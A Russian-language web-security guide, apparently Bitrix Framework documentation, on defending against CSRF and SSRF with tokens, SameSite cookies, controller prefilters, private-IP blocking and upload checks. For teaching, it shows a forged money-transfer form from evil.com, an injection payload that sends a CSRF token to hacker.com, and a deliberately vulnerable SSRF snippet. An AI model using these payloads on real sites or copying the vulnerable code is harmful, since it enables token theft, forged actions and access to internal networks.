CSRF и SSRF
CSRF и SSRF-атаки представляют серьезную угрозу безопасности веб-проектов. Они позволяют выполнять нежелательные действия от имени пользователя или сервера.
CSRF-атака
Cross-Site Request Forgery, CSRF — межсайтовая подделка запроса. При этой атаке пользователь выполняет нежелательные действия на доверенном сайте, где он уже авторизован.
Принцип CSRF-атаки
-
Пользователь авторизуется на сайте, например,
cool-bank.com. -
Браузер сохраняет cookie-файлы сессий.
-
Пользователя перенаправляют на вредоносный сайт, например,
evil.com. -
Сайт
evil.comотправляет скрытую форму наcool-bank.com.<form action="https://cool-bank.com/sendmoney" method="POST"> <input type="hidden" name="sendmoney" value="1000"> </form>В примере используется форма, чтобы отправить запрос на перевод денег от имени пользователя.
-
Браузер пользователя автоматически добавляет cookie авторизации.
-
cool-bank.comвыполняет действие от имени пользователя.
Как защититься от CSRF
Существует два основных подхода, которые эффективно работают вместе: CSRF-токены и SameSite cookie.
CSRF-токены
CSRF-токен — это секретное и непредсказуемое значение, которое сервер генерирует и передает пользователю. Пользователь включает токен в каждый запрос с авторизацией. Сервер проверяет токен перед выполнением действия.
Bitrix Framework предоставляет функции для работы с токенами.
-
bitrix_sessid()— возвращает CSRF-токен, связанный с текущей сессией. По умолчанию значение токена производно от идентификатора сессии и уникального значения сервера.echo bitrix_sessid(); // feb8414592f24d96f6fd0c656e6ccd67 -
bitrix_sessid_post()— вставляет токен в форму.$varnameпо умолчанию имеет значениеsessid.'<input type="hidden" name="' . $varname . '" id="' . $id . '" value="' . bitrix_sessid() . '" />' -
bitrix_sessid_get()— формирует параметр для GET-запросов. Используйте функцию, чтобы выполнить конфиденциальные действия через GET. Например, выйти из системы. Сформируйте ссылку так:'url?parameters&' . bitrix_sessid_get();.echo bitrix_sessid_get(); // sessid=feb8414592f24d96f6fd0c656e6ccd67 -
check_bitrix_sessid()— проверяет, совпало ли значениеbitrix_sessidс$varnameили заголовкомX-Bitrix-Csrf-Token.return ( $request[$varname] === bitrix_sessid() || $request->getHeader('X-Bitrix-Csrf-Token') === bitrix_sessid() );
В общем виде для проверки корректности запроса достаточно добавить check_bitrix_sessid в условие:
if (check_bitrix_sessid())
{
// Действие выполняется
}
В собственных AJAX-запросах передавайте токен из BX.bitrix_sessid() в параметре sessid или заголовке X-Bitrix-Csrf-Token. Для действий контроллеров используйте префильтры, как показано в разделе «Защита действий контроллеров».
Выполняйте запросы на изменение состояния приложения методом POST. Передача токена через GET может привести к его раскрытию. Если необходимо использовать GET, после обработки запроса сделайте редирект без CSRF-токена.
HTML-инъекции могут нарушить форматирование и привести к утечке CSRF-токена. Например:
<form method="POST" action="/action.php">
<input type="text" name="foo" value="<?= $injection ?>"
<!— Это наш секретный CSRF-токен! —>
<?= bitrix_sessid_post() ?>
...
</form>
<script>
var someVar = 'text';
</script>
Если в $injection попадет строка "\"><img src='http://hacker.com/?token=", отправленная пользователем, получится форма следующего вида:
<form method="POST" action="action.php">
<input type="text" name="foo" value="" />
<img src='http://hacker.com?token="'>
<!— Это наш секретный CSRF-токен! —>
<input type="hidden" name="sessid" id="sessid" value="random" />
</form>
<script>
var someVar = 'text';
</script>
Все, что следует после внедренной строки до первой одинарной кавычки, станет частью ссылки на hacker.com. Браузер попытается загрузить картинку по ссылке. Чтобы избежать этого, размещайте токен как можно выше в форме, желательно в самом начале.
<form method="POST" action="/some.page">
<?= bitrix_sessid_post() ?>
...
</form>
При внедрении JavaScript это не поможет. Скрипт может получить доступ к любым элементам DOM независимо от их расположения.
SameSite
SameSite — это дополнительный атрибут для cookie. Он указывает браузеру, отправлять ли cookie в межсайтовых или внутрисайтовых запросах. Это обеспечивает частичную защиту от CSRF и других атак.
Безопасную cookie можно сделать двумя способами:
-
через функцию
setcookie:setcookie('cookie_name', 'cookie_value', ['samesite' => 'Strict']); -
с помощью
\Bitrix\Main\HttpResponse::addCookie:use Bitrix\Main\Application; use Bitrix\Main\Web\Cookie; $cookie = new Cookie('cookie_name', 'cookie_value'); $cookie->setSameSite('Strict'); $context = Application::getInstance()->getContext(); $context->getResponse()->addCookie($cookie);
Атрибут SameSite может принимать следующие значения:
-
None— ограничения на файлы cookie не устанавливаются, -
Strict— cookie отправляются только в рамках одного домена и не передаются при переходах между разными сайтами, -
Lax— cookie передаются только при безопасных HTTP-запросах в межсайтовых переходах, но блокируются для небезопасных методов и при загрузке вложенных ресурсов.
Установка атрибута SameSite=Strict для всех сookie может ухудшить пользовательский опыт, особенно при межсайтовых переходах. Например, если пользователь авторизуется на сайте, а затем переходит по внешней ссылке, сookie-файлы не отправятся, и он окажется неавторизованным.
Атрибут SameSite=Lax — более гибкий вариант, но его можно обойти, например, через GET-запросы вместо POST или клиентские перенаправления.
Выбор между Strict и Lax зависит от типа сайта.
-
Laxподходит для интернет-магазинов, где важна удобная навигация. -
Strictпредпочтителен для банковских приложений, где безопасность в приоритете.
Защита действий контроллеров
Для AJAX-действий контроллера настройте префильтры. Каждый фильтр выполняет отдельную проверку.
-
Authentication— требует входа пользователя на сайт, -
HttpMethod— ограничивает допустимые HTTP-методы, -
Csrf— проверяет токен функциейcheck_bitrix_sessid()и блокирует действие при ошибке.
Стандартный набор префильтров контроллера уже включает эти проверки и разрешает GET и POST. Для действия, которое меняет данные, оставьте только POST. При задании prefilters в configureActions() вы заменяете набор по умолчанию, поэтому перечислите все необходимые проверки.
Пример. Действие save принимает только POST-запросы от авторизованного пользователя с корректным CSRF-токеном:
use Bitrix\Main\Engine\ActionFilter\Authentication;
use Bitrix\Main\Engine\ActionFilter\Csrf;
use Bitrix\Main\Engine\ActionFilter\HttpMethod;
use Bitrix\Main\Engine\Controller;
final class Settings extends Controller
{
public function configureActions()
{
return [
'save' => [
'prefilters' => [
new Authentication(),
new HttpMethod([HttpMethod::METHOD_POST]),
new Csrf(),
],
],
];
}
public function saveAction()
{
// Проверьте права пользователя на изменяемые данные перед сохранением
}
}
Метод BX.ajax.runAction() автоматически добавляет токен в заголовок X-Bitrix-Csrf-Token. Повторно передавать sessid при таком вызове не требуется.
Фильтр Authentication проверяет только вход пользователя. Проверяйте права на конкретные данные отдельно в действии. Токен также не заменяет проверку прав.
Фильтр Csrf работает в области Controller::SCOPE_AJAX. Для контроллера, вызванного через HTTP-маршрут вне этой области, предусмотрите проверку токена отдельно.
Настройки и способы подключения фильтров описаны в статье Пре- и постфильтры.
SSRF-атака
Server-Side Request Forgery, SSRF — подделка серверных запросов. Атака позволяет отправлять запросы от имени сервера.
use Bitrix\Main\Web\HttpClient;
$http = new HttpClient();
print_r($http->get($_GET['uri']));
В примере сервер напрямую обращается к произвольному адресу и выводит ответ на экран. Параметр uri может быть использован для доступа к внутренним сервисам.
Почему это опасно
Представьте, что на сервере работает служба на порте 1337. Доступ к службе закрыт для внешнего мира. Однако, если удастся отправить запрос от имени сервера, можно получить доступ к службе. Это позволит сканировать внутреннюю сеть или выполнять произвольный код.
Как защититься от SSRF
Для защиты от SSRF-атак ограничьте возможность отправки запросов к внутренним ресурсам. Это можно сделать с помощью встроенных механизмов Bitrix Framework.
Ограничение доступа к частным IP
В HTTP-клиенте параметр privateIp по умолчанию равен true: запросы к частным IP-адресам разрешены. Если URL получен из пользовательского ввода, перед отправкой запроса вызовите setPrivateIp(false), чтобы запретить доступ к частным адресам и снизить риск SSRF-атаки.
use Bitrix\Main\Web\HttpClient;
$http = new HttpClient(); // Создаем объект HTTP-клиента
$http->setPrivateIp(false); // Запрещаем доступ к частным IP
$http->get($_GET['uri']); // Пытаемся отправить запрос
При попытке запроса к локальному адресу HTTP-клиент вернет ошибку.
Безопасная загрузка изображений
Метод CFile::MakeFileArray() формирует массив с описанием файла. При стандартной загрузке по HTTP или HTTPS он использует HTTP-клиент с запретом частных IP. Корректность изображения проверяйте отдельно методом CFile::CheckImageFile().
Принимайте только URL с разрешенными схемами http и https и проверяйте адрес по списку разрешенных хостов до вызова метода. Произвольное значение запроса передавать нельзя, поскольку метод принимает также локальные пути и идентификаторы файлов.
Пример. Код получает изображение с заранее заданного адреса и проверяет размер файла и изображения:
$file = CFile::MakeFileArray('https://example.org/image.jpg');
if ($file)
{
$error = CFile::CheckImageFile($file, 5 * 1024 * 1024, 2000, 2000);
if ($error === null)
{
// Изображение прошло проверку, можно продолжать
}
else
{
// Обработка ошибки проверки изображения
}
}
Безопасная загрузка файлов
Перед сохранением загруженного файла проверьте права пользователя и CSRF-токен. Ограничьте размер файла и разрешите только расширения, необходимые для задачи. Проверки в браузере дополните серверными проверками.
Проверить размер и расширение
Метод CFile::CheckFile() проверяет размер, расширение и MIME-тип по переданным ограничениям. В аргументе $intMaxSize задайте максимальный размер в байтах, в $strExt — разрешенные расширения без точек через запятую. Метод возвращает пустую строку при успешной проверке и строку с ошибкой при нарушении ограничений.
Параметр $mimeType проверяет поле type массива файла. При загрузке через форму браузер передает это значение, поэтому оно не подтверждает содержимое файла. Для изображений дополнительно вызывайте CFile::CheckImageFile(), который проверяет данные изображения и его размеры.
Пример. Фрагмент обработчика после проверки прав и CSRF-токена принимает один PDF-файл из поля document размером до 5 Мб:
$file = $_FILES['document'] ?? null;
if (
!is_array($file)
|| !isset($file['name'], $file['tmp_name'], $file['size'], $file['error'])
|| !is_string($file['name'])
|| $file['name'] === ''
|| !is_string($file['tmp_name'])
|| !is_int($file['size'])
|| $file['error'] !== UPLOAD_ERR_OK
|| !is_uploaded_file($file['tmp_name'])
)
{
// Обработка отсутствующего файла или ошибки загрузки
return;
}
$error = CFile::CheckFile($file, 5 * 1024 * 1024, false, 'pdf');
if ($error !== '')
{
// Обработка ошибки проверки файла
return;
}
// Файл прошел проверку размера и расширения, можно переходить к сохранению
Значение false в третьем аргументе отключает проверку MIME-типа. Список 'pdf' в четвертом аргументе разрешает только расширение PDF. Успешная проверка расширения не подтверждает формат и безопасность содержимого документа. Если обработчик разбирает документ, проверяйте его формат средствами используемого обработчика.
Запретить исполнение скриптов в /upload
Настройте веб-сервер так, чтобы он не исполнял PHP и другие скрипты в /upload и вложенных каталогах. Для Apache проверьте, что настройки сервера применяют ограничения из /upload/.htaccess. Для nginx задайте ограничения в конфигурации сервера, поскольку он не обрабатывает .htaccess.
Проверяйте расширения при загрузке даже при запрете исполнения скриптов. Список разрешенных расширений и настройки веб-сервера защищают разные этапы работы с файлом. Дополнительные проверки конфигурации описаны в статье Проактивная защита.